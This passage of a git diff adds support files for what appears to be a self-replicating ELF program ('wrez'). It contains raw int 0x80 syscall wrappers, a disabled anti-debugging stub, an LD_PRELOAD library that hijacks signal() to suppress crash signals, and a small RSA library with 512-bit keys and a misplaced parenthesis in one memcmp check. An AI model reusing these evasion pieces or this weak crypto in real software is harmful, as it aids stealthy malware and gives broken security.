88 char domainname[_UTSNAME_DOMAIN_LENGTH];
89};
90
91
92typedef struct {
93 unsigned long __val[2];
94} __u_quad_t;
95
96struct stat {
97 unsigned char space1[6 * 4];
98 /* __uid_t */ unsigned int st_uid; /* User ID of the file's owner. */
99 /* __gid_t */ unsigned int st_gid; /* Group ID of the file's group. */
100 unsigned char space2[8 * 4];
101 /* __time_t */ long int st_atime; /* Time of last access. */
102 unsigned long int __unused1;
103 /* __time_t */ long int st_mtime; /* Time of last modification. */
104 unsigned long int __unused2;
105 /* __time_t */ long int st_ctime; /* Time of last status change. */
106 unsigned long int space3[8 * 4]; /* safety margin */
107};
108
109#if 0
110struct stat {
111 /* __dev_t */ __u_quad_t st_dev; /* Device. */
112 unsigned short int __pad1;
113 /* __ino_t */ unsigned long st_ino; /* File serial number. */
114 /* __mode_t */ unsigned int st_mode; /* File mode. */
115 /* __nlink_t */ unsigned int st_nlink; /* Link count. */
116 /* __uid_t */ unsigned int st_uid; /* User ID of the file's owner. */
117 /* __gid_t */ unsigned int st_gid; /* Group ID of the file's group. */
118 /* __dev_t */ __u_quad_t st_rdev; /* Device number, if device. */
119 unsigned short int __pad2;
120 /* __off_t */ long int st_size; /* Size of file, in bytes. */
121 /* __blksize_t*/long int st_blksize; /* Optimal block size for I/O. */
122
123 /* __blkcnt_t */long int st_blocks; /* Number 512-byte blocks allocated. */
124 /* __time_t */ long int st_atime; /* Time of last access. */
125 unsigned long int __unused1;
126 /* __time_t */ long int st_mtime; /* Time of last modification. */
127 unsigned long int __unused2;
128 /* __time_t */ long int st_ctime; /* Time of last status change. */
129 unsigned long int __unused3;
130 unsigned long int __unused4;
131 unsigned long int __unused5;
132};
133#endif
134
135struct utimbuf {
136 /* time_t */ long int actime; /* access time */
137 /* time_t */ long int modtime; /* modification time */
138};
139
140struct timeval {
141 long int tv_sec; /* seconds */
142 long int tv_usec; /* microseconds */
143};
144
145struct dirent {
146 long d_ino;
147 int d_off;
148 unsigned short d_reclen;
149 char d_name[256];
150};
151
152/* from bits/mman.h */
153#define PROT_READ 0x1
154#define PROT_WRITE 0x2
155#define PROT_EXEC 0x4
156#define PROT_NONE 0x0
157#define MAP_SHARED 0x01
158#define MAP_PRIVATE 0x02
159#define MAP_TYPE 0x0f
160#define MAP_FIXED 0x10
161#define MAP_ANONYMOUS 0x20
162
163/* from unistd.h */
164#define SEEK_SET 0
165#define SEEK_CUR 1
166#define SEEK_END 2
167
168extern int errno;
169
170static inline int getdents (int fd, struct dirent *dirp, unsigned int count)
171{
172 long ret;
173
174 __asm__ __volatile__ ("int $0x80"
175 : "=a" (ret)
176 : "a" (__NR_getdents), "b" ((long) fd),
177 "c" ((long) dirp), "d" ((long) count));
178
179 return ret;
180}
181
182static inline int settimeofday (struct timeval *tv, void *tz)
183{
184 long ret;
185
186 __asm__ __volatile__ ("int $0x80"
187 : "=a" (ret)
188 : "a" (__NR_settimeofday), "b" ((long) tv),
189 "c" ((long) tz));
190
191 return ret;
192}
193
194static inline int gettimeofday (struct timeval *tv, void *tz)
195{
196 long ret;
197
198 __asm__ __volatile__ ("int $0x80"
199 : "=a" (ret)
200 : "a" (__NR_gettimeofday), "b" ((long) tv),
201 "c" ((long) tz));
202
203 return ret;
204}
205
206static inline int stat (char *filename, struct stat *sst)
207{
208 long ret;
209
210 __asm__ __volatile__ ("int $0x80"
211 : "=a" (ret)
212 : "a" (__NR_stat64), "b" ((long) filename),
213 "c" ((long) sst));
214
215 return ret;
216}
217
218static inline int utime (char *filename, struct utimbuf *buf)
219{
220 long ret;
221
222 __asm__ __volatile__ ("int $0x80"
223 : "=a" (ret)
224 : "a" (__NR_utime), "b" ((long) filename),
225 "c" ((long) buf));
226
227 return ret;
228}
229
230static inline int munmap (char *start, int length)
231{
232 long ret;
233
234 __asm__ __volatile__ ("int $0x80"
235 : "=a" (ret)
236 : "a" (__NR_munmap), "b" ((long) start),
237 "c" ((int) length));
238
239 return ret;
240}
241
242#if 0
243static inline int ioctl (int d, int request, int argp)
244{
245 long ret;
246
247 __asm__ __volatile__ ("pushl %%ebx\n\t"
248 "movl %%esi, %%ebx\n\t"
249 "int $0x80"
250 :"=a" (ret)
251 :"0" (__NR_ioctl), "S" ((long)d),
252 "c" ((long)request), "d" ((long)argp): "bx");
253 return ret;
254}
255
256static inline int fcntl (int fd, int cmd, long arg)
257{
258 long ret;
259
260 __asm__ __volatile__ ("pushl %%ebx\n\t"
261 "movl %%esi, %%ebx\n\t"
262 "int $0x80"
263 :"=a" (ret)
264 :"0" (__NR_fcntl), "S" ((long)fd),
265 "c" ((long)cmd), "d" ((long)arg): "bx");
266 return ret;
267}
268#endif
269
270static inline int lseek (int fd, unsigned long int offset, int whence)
271{
272 long ret;
273
274 __asm__ __volatile__ ("int $0x80"
275 : "=a" (ret)
276 : "a" (__NR_lseek), "b" ((long) fd),
277 "c" ((long) offset), "d" ((long) whence));
278
279 return ret;
280}
281
282#if 0
283static inline int mprotect(void *addr, long len, int prot)
284{
285 long ret;
286
287 __asm__ __volatile__ ("pushl %%ebx\n\t"
288 "movl %%esi, %%ebx\n\t"
289 "int $0x80"
290 :"=a" (ret)
291 :"0" (__NR_mprotect), "S" ((long)addr),
292 "c" ((long)len), "d" ((long)prot): "bx");
293 return ret;
294}
295#endif
296
297
298static inline int read(int fd, void *buf, long count)
299{
300 long ret;
301
302 __asm__ __volatile__ ("int $0x80"
303 : "=a" (ret)
304 : "a" (__NR_read), "b" ((long) fd),
305 "c" ((long) buf), "d" ((long) count));
306
307 return ret;
308}
309
310
311static inline int write(int fd, void *buf, long count)
312{
313 long ret;
314
315 __asm__ __volatile__ ("int $0x80"
316 : "=a" (ret)
317 : "a" (__NR_write), "b" ((long) fd),
318 "c" ((long) buf), "d" ((long) count));
319
320 return ret;
321}
322
323static inline int waitpid (int pid, int *status, int options)
324{
325 long ret;
326
327 __asm__ __volatile__ ("int $0x80"
328 : "=a" (ret)
329 : "a" (__NR_waitpid), "b" ((long) pid),
330 "c" ((long) status), "d" ((long) options));
331
332 return ret;
333}
334
335#define wait(status) waitpid(-1,status,0)
336
337static inline int unlink (char *pathname)
338{
339 long ret;
340
341 __asm__ __volatile__ ("int $0x80"
342 : "=a" (ret)
343 : "a" (__NR_unlink), "b" ((long)pathname));
344
345 return ret;
346}
347
348static inline int uname(struct utsname *un)
349{
350 long ret;
351
352 __asm__ __volatile__ ("int $0x80"
353 : "=a" (ret)
354 : "a" (__NR_uname), "b" ((long) un));
355 return ret;
356}
357
358
359static inline int execve(char *s, char **argv, char **envp)
360{
361 long ret;
362
363 __asm__ __volatile__ ("int $0x80"
364 :"=a" (ret)
365 :"a" (__NR_execve), "b" ((long)s),
366 "c" ((long)argv), "d" ((long)envp));
367 return ret;
368}
369
370
371#if 0
372
373static inline int setreuid(int reuid, int euid)
374{
375 long ret;
376
377 __asm__ __volatile__ ("pushl %%ebx\n\t"
378 "movl %%esi, %%ebx\n\t"
379 "int $0x80"
380 :"=a" (ret)
381 :"0" (__NR_setreuid), "S" ((long)reuid),
382 "c" ((long)euid): "bx");
383 return ret;
384}
385
386static inline int chroot(char *path)
387{
388 long ret;
389
390 __asm__ __volatile__ ("pushl %%ebx\n\t"
391 "movl %%esi, %%ebx\n\t"
392 "int $0x80"
393 :"=a" (ret)
394 :"0" (__NR_chroot), "S" ((long)path): "bx");
395 return ret;
396}
397
398static inline int brk(void *addr)
399{
400 long ret;
401
402 __asm__ __volatile__ ("pushl %%ebx\n\t"
403 "movl %%esi, %%ebx\n\t"
404 "int $0x80"
405 :"=a" (ret)
406 :"0" (__NR_brk), "S" (addr): "bx");
407 return (ret);
408}
409
410static inline int dup(int fd)
411{
412 long ret;
413
414 __asm__ __volatile__ ("pushl %%ebx\n\t"
415 "movl %%esi, %%ebx\n\t"
416 "int $0x80"
417 :"=a" (ret)
418 :"0" (__NR_dup), "S" (fd): "bx");
419 return ret;
420}
421
422
423#endif
424
425static inline int _exit(int level)
426{
427 long ret;
428
429 __asm__ __volatile__ ("int $0x80"
430 :"=a" (ret)
431 :"a" (__NR_exit), "b" (level));
432 return (ret);
433}
434
435static inline int dup2(int ofd, int nfd)
436{
437 long ret;
438
439 __asm__ __volatile__ ("int $0x80"
440 :"=a" (ret)
441 :"a" (__NR_dup2), "b" (ofd), "c" (nfd));
442 return ret;
443}
444
445static inline int open(char *path, int mode, int flags)
446{
447 long ret;
448
449 __asm__ __volatile__ ("int $0x80"
450 : "=a" (ret)
451 : "a" (__NR_open), "b" ((long) path),
452 "c" ((int) mode), "d" ((int) flags));
453
454 return ret;
455}
456
457
458
459#if 0
460static inline int chdir(char *path)
461{
462 long ret;
463
464 __asm__ __volatile__ ("pushl %%ebx\n\t"
465 "movl %%esi, %%ebx\n\t"
466 "int $0x80"
467 :"=a" (ret)
468 :"0" (__NR_chdir), "S" ((long)path): "bx");
469 return ret;
470}
471#endif
472
473static inline int close(int fd)
474{
475 long ret;
476
477 __asm__ __volatile__ ("int $0x80"
478 :"=a" (ret)
479 :"a" (__NR_close), "b" ((int)fd));
480 return ret;
481}
482
483
484static inline int chown(char *path, int uid, int gid)
485{
486 long ret;
487
488 __asm__ __volatile__ ("int $0x80"
489 : "=a" (ret)
490 : "a" (__NR_chown), "b" ((long)path),
491 "c" ((int)uid), "d" ((int)gid));
492
493 return ret;
494}
495
496static inline int rename(char *oldpath, char *newpath)
497{
498 long ret;
499
500 __asm__ __volatile__ ("int $0x80"
501 : "=a" (ret)
502 : "a" (__NR_rename), "b" ((long)oldpath),
503 "c" ((int) newpath));
504 return ret;
505}
506
507#if 0
508static inline int chmod(char *path, int mode)
509{
510 long ret;
511
512 __asm__ __volatile__ ("pushl %%ebx\n\t"
513 "movl %%esi, %%ebx\n\t"
514 "int $0x80"
515 :"=a" (ret)
516 :"0" (__NR_chmod), "S" ((long)path),
517 "c" ((int)mode): "bx");
518 return ret;
519}
520
521static inline int sync(void)
522{
523 long ret;
524
525 __asm__ __volatile__ ("int $0x80"
526 :"=a" (ret)
527 :"0" (__NR_sync));
528
529 return (ret);
530}
531
532static inline int antistrace(void)
533{
534 long ret;
535
536 __asm__ __volatile__ ("int $0x03\n\t"
537 :"=a" (ret)
538 : );
539 return (ret);
540}
541#endif
542
543#define SIG_DFL 0
544#define SIGHUP 1
545#define SIGINT 2
546#define SIGQUIT 3
547#define SIGILL 4
548#define SIGTRAP 5
549#define SIGABRT 6
550#define SIGFPE 8
551#define SIGKILL 9
552#define SIGUSR1 10
553#define SIGSEGV 11
554#define SIGUSR2 12
555#define SIGPIPE 13
556#define SIGALRM 14
557#define SIGTERM 15
558#define SIGCHLD 17
559#define SIGCONT 18
560#define SIGSTOP 19
561
562static inline int signal(int signum, void *handler)
563{
564 long ret;
565
566 __asm__ __volatile__ ("int $0x80"
567 :"=a" (ret)
568 :"a" (__NR_signal), "b" ((long)signum),
569 "c" ((int)handler));
570 return ret;
571}
572
573static inline int fork(void)
574{
575 long ret;
576
577 __asm__ __volatile__ ("int $0x80"
578 :"=a" (ret)
579 :"0" (__NR_fork));
580
581 return (ret);
582}
583
584
585#endif
586
diff --git a/other/wrez/isolation/assfault.c b/other/wrez/isolation/assfault.c
new file mode 100644
index 0000000..5f54d82
--- /dev/null
+++ b/other/wrez/isolation/assfault.c
@@ -0,0 +1,107 @@
1/*
2 * assfault.so, 2001-09-25, anonymous@segfault.net
3 *
4 * This is unpublished proprietary source code of someone without a name...
5 * someone who dont need to be named....
6 *
7 * The contents of these coded instructions, statements and computer
8 * programs may not be disclosed to third parties, copied or duplicated in
9 * any form, in whole or in part, without the prior written permission of
10 * the author.
11 *
12 * Tries to catch SIGSEGV/SIGILL and continues execution flow.
13 *
14 * $ make
15 * $ LD_PRELOAD=./assfault.so netscape &
16 */
17#include <sys/types.h>
18#include <sys/stat.h>
19#include <sys/time.h>
20#include <stdio.h>
21#include <unistd.h>
22#include <stdlib.h>
23#include <string.h>
24#include <signal.h>
25#include <dlfcn.h>
26
27#define REPLACE(a, x, y) if ( !(o_##x = dlsym(##a , ##y)) )\
28 { fprintf(stderr, ##y"() not found in libc!\n");\
29 exit(-1); }
30
31
32static void *(*o_signal)(int, void(*)(int));
33static void *libc_handle = NULL;
34static int segillcount = 0;
35
36void
37assfault_handler(int sig)
38{
39 fprintf(stderr, "%s occured (%d)\n"
40 , (sig==SIGSEGV)?"SIGSEGV":"SIGILL", ++segillcount);
41asm("
42 movl 0x44(%ebp),%ebx
43 incl %ebx
44 movl %ebx,0x44(%ebp)
45");
46}
47
48/*
49 * you may want to intercept sigprocmask, sigaction, setsig, .. also
50 */
51void
52(*signal(int signum, void (*sighandler)(int)))(int)
53{
54 /*
55 * ignore if programm tries to set signal handler for SIGSEGV/SIGILL
56 */
57 if (signum == SIGSEGV)
58 {
59 fprintf(stderr, "signal(SIGSEGV, ...) call ignored [%d]\n", getpid());
60 return assfault_handler;
61 }
62
63 if (signum == SIGILL)
64 {
65 fprintf(stderr, "signal(SIGSILL, ...) call ignored [%d]\n", getpid());
66 return assfault_handler;
67 }
68
69 /*
70 * call the original libc signal() -function
71 */
72 return o_signal(signum, sighandler);
73}
74
75
76static void
77assfault_init(void)
78{
79 if ( (libc_handle = dlopen("libc.so", RTLD_NOW)) == NULL)
80 if ( (libc_handle = dlopen("libc.so.6", RTLD_NOW)) == NULL)
81 {
82 fprintf(stderr, "error loading libc!\n");
83 exit(-1);
84 }
85
86 REPLACE(libc_handle, signal, "signal");
87
88 o_signal(SIGSEGV, assfault_handler);
89 o_signal(SIGILL, assfault_handler);
90
91 dlclose(libc_handle);
92}
93
94
95/*
96 * this function is called by the loaded.
97 */
98void
99_init(void)
100{
101 if (libc_handle != NULL)
102 return; /* should never happen */
103
104 fprintf(stderr, "assfault.so activated\n");
105 assfault_init();
106}
107
diff --git a/other/wrez/isolation/cipher-mrsa-interface b/other/wrez/isolation/cipher-mrsa-interface
new file mode 100755
index 0000000..11c389f
--- /dev/null
+++ b/other/wrez/isolation/cipher-mrsa-interface
Binary files differ
diff --git a/other/wrez/isolation/cipher-mrsa-interface.c b/other/wrez/isolation/cipher-mrsa-interface.c
new file mode 100644
index 0000000..4096886
--- /dev/null
+++ b/other/wrez/isolation/cipher-mrsa-interface.c
@@ -0,0 +1,304 @@
1/* cipher-mrsa-interface.c - interface module to the mrsa module
2 *
3 * works around some limitations, bugs and cryptographical weaknesses within
4 * the mrsa library
5 */
6
7#ifdef WREZ
8#include "int80.h"
9#include "common.h"
10#include "wrutil.h"
11#else
12#include <sys/types.h>
13#include <sys/stat.h>
14#include <unistd.h>
15#include <fcntl.h>
16#include <stdio.h>
17#include <stdlib.h>
18#include <string.h>
19#endif
20
21#include "cipher-mrsa.h"
22#include "cipher-mrsa-interface.h"
23
24
25#ifndef WREZ
26void
27hexdump (char *desc, unsigned char *data, unsigned int amount);
28#endif
29
30#define CLEAR_GAP_KEY RSA_SIZE
31#define CLEAR_GAP_MSG 1
32
33int
34rsa_keypair_generate (rsa_pubkey *pub, rsa_privkey *priv)
35{
36 rsa_key key;
37 NN msgtest, /* test en/decryption */
38 msgorig;
39 int fd = -1,
40 try_max = 10;
41#ifdef WREZ
42 char * rndfilename;
43
44 STRINGPTR (rndfilename, "/dev/urandom");
45#else
46 char * rndfilename = "/dev/urandom";
47#endif
48
49new_key:
50 fd = open (rndfilename, O_RDONLY);
51 if (fd < 0)
52 return (-1);
53
54 memset (pub, 0x00, sizeof (*pub));
55 memset (priv, 0x00, sizeof (*priv));
56
57 if (read (fd, msgtest, sizeof (msgtest)) != sizeof (msgtest))
58 goto bail;
59
60try_key:
61 memset (&key, 0x00, sizeof (key));
62 if (read (fd, key.p, sizeof (key.p)) != sizeof (key.p) ||
63 read (fd, key.q, sizeof (key.q)) != sizeof (key.q))
64 {
65 goto bail;
66 }
67
68 /* NUL out highest bit (i think this works around a stall bug in
69 * mrsa, though i'm not quite sure what triggers it). it works with
70 * this code at least.
71 */
72#define CLEAR_UPPER(count,key) \
73 { \
74 int cu, co = count; \
75 for (cu = (sizeof (key) - 1) ; co > 0 ; --co, --cu) \
76 ((unsigned char *) key)[cu] = 0x00; \
77 }
78
79 CLEAR_UPPER (CLEAR_GAP_KEY, key.p);
80 CLEAR_UPPER (CLEAR_GAP_KEY, key.q);
81
82 /* try to generate a key out of the random data. if that fails, try
83 * again or give up when we had enough tries already.
84 */
85 if (rsa_gen (&key) == 0) {
86 try_max -= 1;
87 if (try_max > 0)
88 goto try_key;
89
90 goto bail;
91 }
92
93 close (fd);
94
95 /* public key components
96 */
97 cp (pub->pq, key.pq);
98 cp (pub->e, key.e);
99
100 /* private key components
101 */
102 cp (priv->d, key.d);
103 cp (priv->p, key.p);
104 cp (priv->q, key.q);
105 cp (priv->dp, key.dp);
106 cp (priv->dq, key.dq);
107 cp (priv->qp, key.qp);
108
109 /* test key to work around bug in mrsa.
110 * XXX: once this test succeeds the keys are safe to use and work with
111 * all possible input
112 * XXX: forbid d = 1, this is silly
113 */
114 if (priv->d[RSA_SIZE - 1] == 0x01)
115 goto new_key;
116 memcpy (msgorig, msgtest, sizeof (msgorig));
117 rsa_encrypt (pub, msgtest);
118 rsa_decrypt (priv, msgtest);
119 if (memcmp (msgtest, msgorig, sizeof (msgtest) != 0))
120 goto new_key;
121
122 return (0);
123
124bail:
125 if (fd != -1)
126 close (fd);
127
128 return (-1);
129}
130
131
132void
133rsa_keypair_dump (int fd, rsa_pubkey *pub, rsa_privkey *priv)
134{
135 char str[RSA_SIZE * 4 + 3];
136
137#define KEYOUT(key) \
138 nh (str, key); \
139 str[strlen (str) + 1] = '\0'; \
140 str[strlen (str)] = '\n'; \
141 write (fd, str, strlen (str));
142
143 if (pub != NULL) {
144 KEYOUT (pub->pq);
145 KEYOUT (pub->e);
146 }
147
148 if (priv != NULL) {
149 KEYOUT (priv->d);
150 KEYOUT (priv->p);
151 KEYOUT (priv->q);
152 KEYOUT (priv->dp);
153 KEYOUT (priv->dq);
154 KEYOUT (priv->qp);
155 }
156#undef KEYOUT
157
158 return;
159}
160
161
162/* rsa_keypair_import
163 *
164 * import a 512 bit rsa keypair from `fd' in human readable format to the
165 * `pub' and `priv' structures. each can be set to NULL to skip them.
166 *
167 * return in any case
168 */
169
170void
171rsa_keypair_import (int fd, rsa_pubkey *pub, rsa_privkey *priv)
172{
173 /* TODO */
174}
175
176
177void
178rsa_encrypt (rsa_pubkey *pub, unsigned char *data)
179{
180 rsa_key key;
181
182 memset (&key, 0x00, sizeof (key));
183 cp (key.pq, pub->pq);
184 cp (key.e, pub->e);
185
186 rsa_enc ((N) data, &key);
187}
188
189
190void
191rsa_decrypt (rsa_privkey *priv, unsigned char *data)
192{
193 rsa_key key;
194
195 memset (&key, 0x00, sizeof (key));
196 cp (key.d, priv->d);
197 cp (key.p, priv->p);
198 cp (key.q, priv->q);
199 cp (key.dp, priv->dp);
200 cp (key.dq, priv->dq);
201 cp (key.qp, priv->qp);
202
203 rsa_dec ((N) data, &key);
204}
205
206
207#ifdef TESTING
208int
209main (int argc, char *argv[])
210{
211 int n,
212 fd;
213 rsa_pubkey pub;
214 rsa_privkey priv;
215
216 NN msg;
217 NN msg_orig;
218 int testcount = 100,
219 matchcount = 0;
220
221 n = rsa_keypair_generate (&pub, &priv);
222 printf ("rsa_keypair_generate () = %d\n", n);
223
224 /* dump keypair
225 */
226 printf ("keypair\n");
227 rsa_keypair_dump (2, &pub, &priv);
228 printf ("\n");
229
230 /* test, get random message and encrypt / decrypt it
231 */
232testcrypt:
233 fd = open ("/dev/urandom", O_RDONLY);
234 read (fd, msg, sizeof (msg));
235 close (fd);
236 CLEAR_UPPER (CLEAR_GAP_MSG, msg);
237 memcpy (msg_orig, msg, sizeof (msg_orig));
238// hexdump ("message", (void *) msg, sizeof (msg));
239
240 rsa_encrypt (&pub, (unsigned char *) msg);
241// hexdump ("message-encrypted", (void *) msg, sizeof (msg));
242 rsa_decrypt (&priv, (unsigned char *) msg);
243// hexdump ("message-decrypted", (void *) msg, sizeof (msg));
244
245 if (memcmp (msg, msg_orig, sizeof (msg)) == 0)
246 matchcount += 1;
247
248 if (--testcount > 0)
249 goto testcrypt;
250
251 printf ("\n%d matched\n", matchcount);
252
253 return (0);
254}
255
256
257void
258hexdump (char *desc, unsigned char *data, unsigned int amount)
259{
260 unsigned int dp, p; /* data pointer */
261 const char trans[] =
262 "................................ !\"#$%&'()*+,-./0123456789"
263 ":;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklm"
264 "nopqrstuvwxyz{|}~...................................."
265 "....................................................."
266 "........................................";
267
268
269 printf ("/* %s, %u bytes */\n", desc, amount);
270
271 for (dp = 1; dp <= amount; dp++) {
272 fprintf (stderr, "%02x ", data[dp-1]);
273 if ((dp % 8) == 0)
274 fprintf (stderr, " ");
275 if ((dp % 16) == 0) {
276 fprintf (stderr, "| ");
277 p = dp;
278 for (dp -= 16; dp < p; dp++)
279 fprintf (stderr, "%c", trans[data[dp]]);
280 fflush (stderr);
281 fprintf (stderr, "\n");
282 }
283 fflush (stderr);
284 }
285 if ((amount % 16) != 0) {
286 p = dp = 16 - (amount % 16);
287 for (dp = p; dp > 0; dp--) {
288 fprintf (stderr, " ");
289 if (((dp % 8) == 0) && (p != 8))
290 fprintf (stderr, " ");
291 fflush (stderr);
292 }
293 fprintf (stderr, " | ");
294 for (dp = (amount - (16 - p)); dp < amount; dp++)
295 fprintf (stderr, "%c", trans[data[dp]]);
296 fflush (stderr);
297 }
298 fprintf (stderr, "\n");
299
300 return;
301}
302
303#endif
304
diff --git a/other/wrez/isolation/cipher-mrsa-interface.h b/other/wrez/isolation/cipher-mrsa-interface.h
new file mode 100644
index 0000000..2143945
--- /dev/null
+++ b/other/wrez/isolation/cipher-mrsa-interface.h
@@ -0,0 +1,79 @@
1
2#ifndef CIPHER_MRSA_INTERFACE_H
3#define CIPHER_MRSA_INTERFACE_H
4
5#include "cipher-mrsa.h"
6
7
8typedef struct {
9 NN pq; /* n = p * q */
10 NN e; /* public exponent */
11} rsa_pubkey;
12
13typedef struct {
14 NN d; /* private exponent */
15 NN p, q;
16 NN dp, dq, qp;
17} rsa_privkey;
18
19
20/* rsa_keypair_generate
21 *
22 * generate a 512 bit rsa keypair and copy only required components into the
23 * appropiate structure.
24 *
25 * return 0 on success
26 * return != 0 on failure
27 */
28
29int
30rsa_keypair_generate (rsa_pubkey *pub, rsa_privkey *priv);
31
32
33/* rsa_keypair_dump
34 *
35 * output the two keys in human readable form to `fd'. when they are set to
36 * NULL, they are not exported.
37 *
38 * return in any case
39 */
40
41void
42rsa_keypair_dump (int fd, rsa_pubkey *pub, rsa_privkey *priv);
43
44
45/* rsa_keypair_import
46 *
47 * import a 512 bit rsa keypair from `fd' in human readable format to the
48 * `pub' and `priv' structures. each can be set to NULL to skip them.
49 *
50 * return in any case
51 */
52
53void
54rsa_keypair_import (int fd, rsa_pubkey *pub, rsa_privkey *priv);
55
56
57/* rsa_encrypt
58 *
59 * encrypt RSA_SIZE byte array at `data' with the public key `pub'.
60 *
61 * return in any case
62 */
63
64void
65rsa_encrypt (rsa_pubkey *pub, unsigned char *data);
66
67
68/* rsa_decrypt
69 *
70 * decrypt RSA_SIZE byte array at `data' with the private key `priv'.
71 *
72 * return in any case
73 */
74
75void
76rsa_decrypt (rsa_privkey *priv, unsigned char *data);
77
78#endif
79
diff --git a/other/wrez/isolation/cipher-mrsa.c b/other/wrez/isolation/cipher-mrsa.c
new file mode 100644
index 0000000..74ffb57
--- /dev/null
+++ b/other/wrez/isolation/cipher-mrsa.c
@@ -0,0 +1,717 @@
1/*
2 * mrsa.c -- portable multiprecision math and RSA library
3 * 1993 Risto Paasivirta, paasivir@jyu.fi
4 * Public Domain, no warranty.
5 */
6
7#define MRSA_C 1
8
9#include "cipher-mrsa.h"
10
11/*
12 * math library stuff
13 */
14
15/*
16 * sign = ts(N a) -- test signed, returns 1, 0 or -1
17 */
18
19PRIVATE int
20ts(N a)
21{
22 ULONG i = RSA_SIZE;
23 if (a[RSA_SIZE - 1] & SIGN_BIT)
24 return -1;
25 while (i--)
26 if (*a++)
27 return 1;
28 return 0;
29}
30
31/*
32 * carry = ng(N a) -- negate, returns carry
33 */
34
35PRIVATE ULONG
36ng(N a)
37{
38 ULONG c = 0, i = RSA_SIZE;
39 while (i--) {
40 c = 0 - *a - c;
41 *a++ = c;
42 c = (c >> UNIT_BITS) & 1;
43 } return c;
44}
45
46/*
47 * cl(N a) -- clear value, a = 0
48 */
49
50PRIVATE void
51cl(N a)
52{
53 ULONG i = 0;
54 while (i++ < RSA_SIZE)
55 *a++ = 0;
56}
57
58/*
59 * cp(N a, N b) -- copy, a = b
60 */
61
62PRIVATE void
63cp(N a, N b)
64{
65 ULONG i = RSA_SIZE;
66 while (i--)
67 *a++ = *b++;
68}
69
70/*
71 * flag = cu(a, b) -- compare unsigned, returns <0 if a<b, 0 if a==b, >0 if a>b
72 */
73
74PRIVATE int
75cu(N a, N b)
76{
77 ULONG i = RSA_SIZE;
78 a += RSA_SIZE;
79 b += RSA_SIZE;
80 while (i--)
81 if (*--a - *--b)
82 return (int) *a - (int) *b;
83 return 0;
84}
85
86/*
87 * carry = ad(N a, N b) -- add, a += b
88 */
89
90PRIVATE ULONG
91ad(N a, N b)
92{
93 ULONG c = 0, i = RSA_SIZE;
94 while (i--) {
95 c = *b++ + *a + c;
96 *a++ = c;
97 c >>= UNIT_BITS;
98 }
99 return c;
100}
101
102/*
103 * carry = sb(N a, N b) -- substract, a -= b
104 */
105
106PRIVATE ULONG
107sb(N a, N b)
108{
109 ULONG c = 0, i = RSA_SIZE;
110 while (i--) {
111 c = *a - *b++ - c;
112 *a++ = c;
113 c = (c >> UNIT_BITS) & 1;
114 }
115 return c;
116}
117
118/*
119 * carry = sr(N a) -- shift right, a >>= 1
120 */
121
122PRIVATE ULONG
123sr(N a)
124{
125 ULONG c = 0, i = RSA_SIZE;
126 a += RSA_SIZE;
127 while (i--) {
128 c |= *--a;
129 *a = c >> 1;
130 c = (c & 1) << UNIT_BITS;
131 }
132 return c;
133}
134
135/*
136 * carry = sl(N a) -- shift left, a <<= 1
137 */
138
139PRIVATE ULONG
140sl(N a)
141{
142 ULONG c = 0, i = RSA_SIZE;
143 while (i--) {
144 c |= (ULONG) * a << 1;
145 *a++ = c;
146 c = (c >> UNIT_BITS) & 1;
147 }
148 return c;
149}
150
151/*
152 * dm(N a, N b, N c) -- divide-modulo unsigned, a = a / b, c = a % b
153 */
154
155PRIVATE void
156dm(N a, N b, N c)
157{
158 ULONG i = RSA_SIZE * UNIT_BITS;
159 cl(c);
160 while (i--) {
161 sl(c);
162 *c |= sl(a);
163 if (sb(c, b)) {
164 ad(c, b);
165 } else {
166 *a |= 1;
167 }
168 }
169}
170
171/*
172 * remainder = di(N a, int n) -- divide by integer
173 */
174
175PRIVATE ULONG
176di(N a, ULONG t)
177{
178 ULONG c = 0, i = RSA_SIZE;
179 while (i--) {
180 c = (c << UNIT_BITS) | a[i];
181 a[i] = c / t;
182 c = c % t;
183 }
184 return c;
185}
186
187/*
188 * mu(N a, N b) -- multiply unsigned, a *= b
189 */
190
191PRIVATE void
192mu(N a, N b)
193{
194 ULONG i = RSA_SIZE * UNIT_BITS;
195 NN c;
196 cl(c);
197 while (i--) {
198 sl(c);
199 if (sl(a))
200 ad(c, b);
201 }
202 cp(a, c);
203}
204
205/*
206 * mm(N a, N b, N m) -- modular multiply, a = a * b mod m
207 */
208
209PRIVATE void
210mm(N a, N b, N m)
211{
212 ULONG i = RSA_SIZE * UNIT_BITS;
213 NN c;
214 cl(c);
215 while (i--) {
216 sl(c);
217 if (sb(c, m))
218 ad(c, m);
219 if (sl(a))
220 ad(c, b);
221 if (sb(c, m))
222 ad(c, m);
223 }
224 cp(a, c);
225}
226
227/*
228 * pmm(N a, N b, N m, ULONG p) -- internal modmul w/precision for modexp
229 */
230
231static void
232pmm(N aa, N b, N m, ULONG p)
233{
234 ULONG k, c, j = UNIT_BITS, i;
235 NN v;
236 N a;
237 i = p;
238 cl(v);
239 a = aa + p;
240 while (!*--a
241 && i)
242 i--;
243 if (i) {
244 while (!(*a & (1 << j)) && j)
245 j--;
246 cp(v, b);
247 } while (i--) {
248 while (j--) {
249 for (k = 0, c = 0; k < p; k++) {
250 c |= (ULONG) v[k] << 1;
251 v
252 [k] = c;
253 c >>= UNIT_BITS;
254 } for (k = 0, c = 0; k < p; k++) {
255 c = v[k] - m[k] - c;
256 v[k] = c;
257 c = (c >> UNIT_BITS) & 1;
258 } if (c)
259 for (k = 0, c = 0; k < p; k++) {
260 c = v[k] + m[k] + c;
261 v[k] = c;
262 c >>= UNIT_BITS;
263 } if (*a & (1 << j)) {
264 for (k = 0, c = 0; k < p; k++) {
265 c = v[k] + b[k] + c;
266 v[k] = c;
267 c >>= UNIT_BITS;
268 } for (k = 0, c = 0; k < p; k++) {
269 c = v[k] - m[k] - c;
270 v[k] = c;
271 c = (c >> UNIT_BITS) & 1;
272 } if (c)
273 for (k = 0, c = 0; k < p; k++) {
274 c = v[k] + m[k] + c;
275 v[k] = c;
276 c >>= UNIT_BITS;
277 }
278 }
279 }
280 a--;
281 j = UNIT_BITS;
282 }
283 cp(aa, v);
284}
285
286/*
287 * em(N a, N b, N m) -- modular exponentation, a = a^b mod n
288 */
289
290PRIVATE void
291em(N a, N e, N m)
292{
293 ULONG i = RSA_SIZE, j = UNIT_BITS, p = RSA_SIZE;
294 NN c;
295 N mp;
296 cl(c);
297 *c = 1;
298 e += RSA_SIZE;
299 while (!*--e && i)
300 i--;
301 if (i) {
302 while (!(*e & (1 << j)))
303 j--;
304 cp(c, a);
305 }
306 mp = m + RSA_SIZE;
